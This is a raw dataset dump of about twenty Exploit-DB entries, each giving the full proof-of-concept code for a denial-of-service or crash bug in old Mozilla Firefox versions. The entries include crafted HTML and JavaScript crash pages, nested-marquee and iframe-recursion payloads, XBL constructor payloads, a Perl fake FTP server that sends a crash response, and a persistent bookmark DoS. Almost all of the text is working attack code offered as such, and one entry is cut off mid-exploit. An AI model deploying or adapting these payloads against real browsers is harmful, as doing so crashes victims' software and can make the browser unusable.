deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26325
Description: Mozilla Firefox 1.0.6/1.0.7 - iFrame Handling Denial of Service
Type: dos
Platform: multiple
Date: 2005-10-05
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/15015/info

Mozilla Firefox is prone to a remote denial of service vulnerability.

The vulnerability presents itself when an affected browser handles a specially crafted IFRAME.

A successful attack may result in crashing the application, or consuming excessive CPU and memory resources of computers running the affected application.

It should be noted that this issue was reported to affect Firefox 1.0.6 and 1.0.7 running on Linux. Other versions running on different platforms may be vulnerable as well.

IFRAME WIDTH=33333333
Exploit-DB #1257
Description: Mozilla Firefox 1.0.7 (Mozilla 1.7.12) - Denial of Service
Type: dos
Platform: multiple
Date: 2005-10-17
Author: Kubbo

Exploit:
<!-- Tested on Firefox <= 1.0.7
             Mozilla Browser <= 1.7.12 
                         /str0ke -->

<!-- Brought to you By Kubbo. Now bring Kubbo the walrus; Goo-goo-gajoob. -->

<html>
	<script language="JavaScript">
		document.write('<link rel="stylesheet" href="http://">');
	</script>
</html>

<!-- Affects Firefox 1.0.7 and below. Adaras öron är farliga. -->

# milw0rm.com [2005-10-17]
Exploit-DB #1233
Description: Mozilla Firefox 1.0.7 - Integer Overflow Denial of Service
Type: dos
Platform: multiple
Date: 2005-09-26
Author: Georgi Guninski

Exploit:
<html>
        Copyright Georgi Guninski
        <br>
        Cannot be used in vulnerability databases
        <br>
        Especially securityfocus/mitre/cve/cert
        <script>
        var s=String.fromCharCode(257);
        var ki="";
        var me="";
        for(i=0;i<1024;i++)
        {ki=ki+s;}
        for(i=0;i<1024;i++)
        {me=me+ki;}
        var ov=s;
        for(i=0;i<28;i++) ov += ov;
        for(i=0;i<88;i++) ov += me;

        alert("done generating");
        var fuckbill=escape(ov);
        alert("done escape");
        alert(fuckbill);
        </script>
</html>

# milw0rm.com [2005-09-26]
Exploit-DB #1253
Description: Mozilla Firefox 1.0.7 / Thunderbird 1.0.6 - Denial of Service
Type: dos
Platform: multiple
Date: 2005-10-16
Author: posidron

Exploit:
<!--
posidron@tripbit.net

Vulnerable: Mozilla Firefox <= 1.0.7
            Mozilla Thunderbird  <= 1.0.6

-->

<html><body><strong>Mozilla<sourcetext></body></html>

# milw0rm.com [2005-10-16]
Exploit-DB #1667
Description: Mozilla Firefox 1.5.0.1 / Camino 1.0 - Null Pointer Dereference Crash
Type: dos
Platform: multiple
Date: 2006-04-13
Author: BuHa

Exploit:
<!--
o Credits:
=========

Simon MOREL <izimask@thehackademy.net> http://www.sysdream.com - Reported
	Camino Browser issue.
Thomas Waldegger <bugtraq@morph3us.org>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address 'bugtraq@morph3us.org' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online:
http://morph3us.org/advisories/20060412-firefox-1501.txt -->

          <legend>
            <kbd>
                <object>
                  <h4>
                </object>
            </kbd>

# milw0rm.com [2006-04-13]
Exploit-DB #1716
Description: Mozilla Firefox 1.5.0.2 - 'js320.dll/xpcom_core.dll' Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2006-04-24
Author: splices

Exploit:
<!--
---------------------------------------------------
Software:  
 Firefox Web Browser
Tested: 
 Linux, Windows clients' version 1.5.0.2
Result:  
 Firefox Remote Code Execution and Denial of Service - Vendor contacted, no patch yet.
Problem:
 A handling issue exists in how Firefox handles certain Javascript in js320.dll and xpcom_core.dll
regarding iframe.contentWindow.focus().  By manipulating this feature a buffer overflow will occur.  
Proof of Concept:
 http://www.securident.com/vuln/ff.txt
Credits:
 splices(splices [dot] org)
 spiffomatic64(spiffomatic64 [dot] com)
 Securident Technologies (securident [dot] com)
------------------------------------------------ 

http://www.securident.com/vuln/ffdos.htm - PoC firefox dos
 
 Paste the below code snippet and view it in Firefox for DoS PoC or visit the link above. -->

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo">
Exploit-DB #1802
Description: Mozilla Firefox 1.5.0.3 - 'Loop' Denial of Service
Type: dos
Platform: multiple
Date: 2006-05-18
Author: Gianni Amato

Exploit:
<html>

<title>Bug</Title>

<body>

<script language="JavaScript1.2" type="text/javascript">

function MainPageBookmark() {title="Gianni Amato"; url="http://www.gianniamato.it/";

if (window.sidebar) { window.sidebar.addPanel(title, url,"");} else if( window.external )

{ window.external.AddFavorite( url, title); } else if(window.opera && window.print) { return true; }}

for (k=0;k<k+1;k++) MainPageBookmark();

</script>

</body>

# milw0rm.com [2006-05-18]
Exploit-DB #1867
Description: Mozilla Firefox 1.5.0.4 - 'marquee' Denial of Service
Type: dos
Platform: multiple
Date: 2006-06-02
Author: n00b

Exploit:
<html>
<head>
<title>Credit's go to n00b</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>

# milw0rm.com [2006-06-02]
Exploit-DB #2244
Description: Mozilla Firefox 1.5.0.6 - FTP Request Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-08-22
Author: Tomas Kempinsky

Exploit:
#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35".
"\x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}

# milw0rm.com [2006-08-22]
Exploit-DB #31203
Description: Mozilla Firefox 2.0.0.12 - IFrame Recursion Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-02-15
Author: Carl Hardwick

Exploit:
source: https://www.securityfocus.com/bid/27812/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability because of the way the browser handles IFrames.

Attackers can exploit this issue to make the browser unresponsive and cause denial-of-service conditions.

Firefox 2.0.0.12 is vulnerable; other versions may also be affected. 

<iframe id="x" src="javascript:document.location='\x00res://'" width="100%" height="200"></iframe>
<iframe id="y" src="javascript:document.location='\x00about:config'" width="100%" height="200"></iframe>
<iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe>
Exploit-DB #31817
Description: Mozilla Firefox 2.0.0.14 - JSframe Heap Corruption Denial of Service
Type: dos
Platform: multiple
Date: 2008-05-21
Author: 0x000000

Exploit:
source: https://www.securityfocus.com/bid/29318/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability when running certain JavaScript commands on empty applets in an iframe.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects Firefox 2.0.0.14; other versions may also be vulnerable. 

<script> // It might not work on your platform due to a ton of reasons. // tested on WinXP SP2 JRE version 1.6.0_01 function run() { var data = '<applet src="javascript:" id="x">'; y.document.open(); y.document.write(data); y.document.close(); } </script> <input name="button" value="Run" onclick="run()" type="button"> <iframe name="y" id="x" src="" frameborder="1" height="200"></iframe>
Exploit-DB #3606
Description: Mozilla Firefox 2.0.0.3 / Gran Paradiso 3.0a3 - Hang / Crash (Denial of Service)
Type: dos
Platform: multiple
Date: 2007-03-29
Author: shinnai

Exploit:
#usr/bin/python

print "-------------------------------------------------------------------------"
print " Mozilla Firefox 2.0.0.3 and Gran Paradiso 3.0a3 Denial of Service"
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " For convenience I post up a script in python that create a .html file"
print " You can open it locally, upload and browse it or directely browse here:\n"
print " http://www.shinnai.altervista.org/ff_dos.html\n"
print " Firefox 2 stops to answer, Gran Paradiso crahses\n"
print " To avoid confusion, this is based on <marquee> idea but it's not the"
print " same exploit. Take a look here to see differences"
print " http://www.milw0rm.com/exploits/1867"
print "-------------------------------------------------------------------------"

tagHtml = "<html>"
tagHtmlC = "</html>"
tagHead = "<head>"
tagHeadC = "</head>"
tagTitle = "<title>"
tagTitleC = "</title>"

buff= "<marquee>" * 160

boom = tagHtml + buff + tagHead + tagTitle + tagTitleC + tagHeadC + tagHtmlC

try:
    fileOut = open('ff_dos.html','w')
    fileOut.write(boom)
    fileOut.close()
    print "\nFILE ff_dos.html CREATED!\n'NJOY IT...\n"
except:
    print "\nUNABLE TO CREATE FILE ff_dos.html!\n"

# milw0rm.com [2007-03-29]
Exploit-DB #30702
Description: Mozilla Firefox 2.0.0.7 - Malformed XBL Constructor Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-10-22
Author: Soroush Dalili

Exploit:
source: https://www.securityfocus.com/bid/26172/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to cause denial-of-service conditions.

Firefox 2.0.0.7 is vulnerable; other versions may also be affected. 

i######################### WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Bug Title: Mozilla Firefox 2.0.0.7 Denial of Service
# Vendor URL: www.mozilla.org
# Version: <= 2.0.0.7
# Fix Available: Yes!
# Soloution: Update to 2.0.0.8
# Note: This bug works on 2.0.0.8 in different way. Although this bug doesn't crash 2.0.0.8, it causes not showing html code by viewing source in Mozilla Firefox 2.0.0.8 and this is another bug on 2.0.0.8!
# Proof: http://www.astalavista.ir/proofs/MozillaFireFox/DoS1.htm
#
######################### WwW.AmnPardaz.com ########################
#
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Greetz To : Astalavista.ir (Secuiran.com) Security Research Group, GrayHatz.net
# Contacts: <th3_vampire {4-t] yahoo [d-0-t} com> & <Irsdl {4-t] yahoo [d-0-t} com>
# 
######################## Bug Description ###########################
#
# To do this work we need 2 files (Html,XML).
# Their codes was written below.
#
# Save below codes in a HTML file.
#
--------------------------------------------------------------------
--------------------------------------------------------------------
<html>
	<head>
		<style>BODY{-moz-binding:url("moz.xml#xss")}</style>
	</head>
	<body>
		Suddenly see you baby! If you see this bug execution was failed!
		<script>
			alert('Soroush Dalili & Shahin Ramezani From Astalavista.ir')
		</script>
	</body>
</html>
--------------------------------------------------------------------
--------------------------------------------------------------------
#
# Save below codes in "moz.xml" file.
#
--------------------------------------------------------------------
--------------------------------------------------------------------
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
  <binding id="xss">
    <implementation>
      <constructor><![CDATA[
		eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%3e%27%29'));		
  	  ]]></constructor>
    </implementation>
  </binding>
</bindings>
--------------------------------------------------------------------
--------------------------------------------------------------------
#
# Now by runnig the HTML file by Mozilla FireFox <= 2.0.0.7 it will be crashed and by Mozilla FireFox 2.0.0.8 no code will be showed by viewing the source.
#
###################################################################
Exploit-DB #4559
Description: Mozilla Firefox 2.0.0.7 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-10-22
Author: BugReport.IR

Exploit:
i######################### WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Bug Title: Mozilla Firefox 2.0.0.7 Denial of Service
# Vendor URL: www.mozilla.org
# Version: <= 2.0.0.7
# Fix Available: Yes!
# Soloution: Update to 2.0.0.8
# Note: This bug works on 2.0.0.8 in different way. Although this bug doesn't crash 2.0.0.8, it causes not showing html code by viewing source in Mozilla Firefox 2.0.0.8 and this is another bug on 2.0.0.8!
# Proof: http://www.astalavista.ir/proofs/MozillaFireFox/DoS1.htm
#
######################### WwW.AmnPardaz.com ########################
#
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Greetz To : Astalavista.ir (Secuiran.com) Security Research Group, GrayHatz.net
# Contacts: <th3_vampire {4-t] yahoo [d-0-t} com> & <Irsdl {4-t] yahoo [d-0-t} com>
# 
######################## Bug Description ###########################
#
# To do this work we need 2 files (Html,XML).
# Their codes was written below.
#
# Save below codes in a HTML file.
#
--------------------------------------------------------------------
--------------------------------------------------------------------
<html>
	<head>
		<style>BODY{-moz-binding:url("moz.xml#xss")}</style>
	</head>
	<body>
		Suddenly see you baby! If you see this bug execution was failed!
		<script>
			alert('Soroush Dalili & Shahin Ramezani From Astalavista.ir')
		</script>
	</body>
</html>
--------------------------------------------------------------------
--------------------------------------------------------------------
#
# Save below codes in "moz.xml" file.
#
--------------------------------------------------------------------
--------------------------------------------------------------------
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
  <binding id="xss">
    <implementation>
      <constructor><![CDATA[
		eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%3e%27%29'));		
  	  ]]></constructor>
    </implementation>
  </binding>
</bindings>
--------------------------------------------------------------------
--------------------------------------------------------------------
#
# Now by runnig the HTML file by Mozilla FireFox <= 2.0.0.7 it will be crashed and by Mozilla FireFox 2.0.0.8 no code will be showed by viewing the source.
#
###################################################################

# milw0rm.com [2007-10-22]
Exploit-DB #30713
Description: Mozilla FireFox 2.0.8 - Sidebar Bookmark Persistent Denial of Service
Type: dos
Platform: multiple
Date: 2007-10-26
Author: The Hacker Webzine

Exploit:
source: https://www.securityfocus.com/bid/26216/info

Mozilla Firefox is prone to a vulnerability that results in a persistent denial of service.

This issue occurs when a victim sets a malicious bookmark and then follows it.

Successful attacks will cause Firefox to stop responding to all URI requests.

NOTE: This condition persists even after the browser is restarted.

Mozilla Firefox 2.0.0.8 is vulnerable; other versions may also be affected. 

<script>



window.sidebar.addPersistentPanel('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRGGHH!

...and more AA\'s!:)',

'http://www.example.com','\0');



</script>
Exploit-DB #32836
Description: Mozilla Firefox 2.0.x - Nested 'window.print()' Denial of Service
Type: dos
Platform: multiple
Date: 2009-03-03
Author: b3hz4d

Exploit:
source: https://www.securityfocus.com/bid/33969/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 2.0.0.20 is vulnerable; other versions may also be affected.

<HTML><TITLE>FireFox Print() Function Malform input Crash</TITLE><BODY> <p1>--------------In The Name Of God---------------<br> <p1>---------Apa Center Of Yazd University---------<br> <p1>-------------Http://Www.Ircert.Cc--------------<br> <br>Tested On : FireFox <= 2.0.0.20 Fully Update <br>Note : If the browser alert for print choose cancel <br> <br>Author : b3hz4d (Seyed Behzad Shaghasemi) <br>Site : Www.DeltaHacking.Net <br>Date : 3 Mar 2009 <br>Contact: behzad_sh_66@yahoo.com <br>Special Thanks To : Str0ke, Dr.trojan, Cru3l.b0y, PLATEN, Bl4ck.Viper, Irsdl And all Iranian hackers </p1><br><br> <form> <input type="button" value="bo0o0o0om" onClick="window.print(window.print())" /> </form> </BODY></HTML>
Exploit-DB #33386
Description: Mozilla Firefox 29.0 - Null Pointer Dereference
Type: dos
Platform: multiple
Date: 2014-05-16
Author: Mr.XHat

Exploit:
<html>
<title>Mozilla Firefox Null Pointer Dereference Vulnerability</title>
<pre>
Fun side of life!
<br>
Details:
	Title: Mozilla Firefox Null Pointer Dereference Vulnerability
	Version: Prior to 29.0
	Date: 4/30/2014
	Discovered By: Mr.XHat
	E-Mail: Mr.XHat {AT} GMail.com
	Tested On: Windows 7 x64 EN
###################################
Disassembly:
	01694240 8bc2            mov     eax,edx
	01694242 d9e0            fchs
	01694244 8b550c          mov     edx,dword ptr [ebp+0Ch]
	01694247 d95c2418        fstp    dword ptr [esp+18h]
	0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????
	0169424d d9442418        fld     dword ptr [esp+18h]
	01694251 8d4c2420        lea     ecx,[esp+20h]
	01694255 d9c0            fld     st(0)
	01694257 51              push    ecx
============================================
Output:
	(e0.544): Access violation - code c0000005 (first chance)
	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=07e1fd00 ebx=0994bf90 ecx=000001f8 edx=00000000 esi=000000a8 edi=00000000
	eip=0169424b esp=0012c8f0 ebp=0012c940 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
	*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mozilla Firefox\xul.dll - 
	xul!NS_NewLocalFile+0x2a49c:
	0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????
#######################################################################################
</pre>
<a href="javascript:_Launch_Website_In_Floating_Window_()"
onclick="window.open('about:blank','1','toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=[PII_REDACTED],height=[PII_REDACTED]');"
>Crash_Me</a>
<br><br>
I kill you again!
</html>
Exploit-DB #8091
Description: Mozilla Firefox 3.0.6 - BODY onload Remote Crash
Type: dos
Platform: multiple
Date: 2009-02-23
Author: Skylined

Exploit:
<BODY onload="
document.designMode='on';//string
document.removeChild(document.firstChild);//object
document.queryCommandState('BackColor');
">

# milw0rm.com [2009-02-23]
Exploit-DB #8219
Description: Mozilla Firefox 3.0.7 - OnbeforeUnLoad DesignMode Dereference Crash
Type: dos
Platform: multiple
Date: 2009-03-16
Author: Skylined

Exploit:
<BODY onload="document.designMode='on';//string

alert('Design mode is on!');
document.removeChild(document.firstChild);//object;
document.queryCommandState('BackColor');
alert('Close the Window to see the crash!');

">

# milw0rm.com [2009-03-16]